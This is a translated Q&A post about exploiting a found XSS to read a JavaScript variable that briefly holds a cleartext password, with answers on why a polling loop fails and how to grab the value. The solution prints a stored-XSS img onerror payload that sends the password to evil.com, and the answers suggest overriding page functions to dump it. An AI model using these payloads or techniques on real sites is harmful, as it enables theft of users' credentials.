通过 XSS 访问在短时间内可见的 js 变量

Access to a js variable which visible for a brief period of time via XSS

如果我在访问网页时在 Javascript 函数上放置一个断点,然后我检查一个 JS 变量,该变量仅在很短的时间内包含明文密码。

我发现了一个 XSS,我想访问该变量的内容我正在尝试以下操作

var i; for(i=1;i<10000;i++){
     if(typeof cleartext_password !== 'undefined')
         { cleartext_password;}
}

无论如何,循环似乎没有迭代,我只是在控制台中看到 4 个“未定义引用”错误。

我错过了什么?

解决方案

我选择了 CBHacking 在他的回答中建议的干净解决方案。 密码以明文形式存储在 DOM 中。我能够利用存储的 XSS 来泄露密码,如下所示:

<img src=x onerror="this.onerror=null;this.src='http://evil.com?mmmh='+window.vuln_name.clear_textpassword>

显而易见的答案:

  • 一个如此紧凑的循环,只有 10k 次迭代,最多将在几毫秒内完成,假设它没有完全优化(因为状态在其中永远不会改变,这对优化器来说是一件公平的事情)
  • 如果 cleartext_password 不在您的小循环的范围内,那么它将永远没有任何可读的价值;您的断点函数的局部变量可能无法从您的 XSS 负载访问
  • JS是单线程的,不会抢占其他代码;您的循环和临时填充变量的函数永远不会同时执行,甚至不会交错执行(直到另一个完成才能开始)

丑陋的黑客解决方案:使用额外的代码编写您自己的相关 JS 函数版本(您要设置断点的函数),将密码转储到某个持久的地方,and/or 删除 delete 调用(如果有的话)擦除变量。用修改后的版本替换合法函数(这可能需要另外替换创建/定义断点代码的函数,具体取决于该函数的定义方式以及它是否存储在可见变量中)。

真正好的解决方案:阅读你设置断点的函数,看看 cleartext_password 变量在哪里设置,以及函数从哪里获取它的值(明显的候选者是 DOM,本地存储,或对服务器的 XHR/fetch 调用)。只需执行相同的操作(DOM 查找、读取本地存储、XHR/fetch 请求等)即可直接检索值。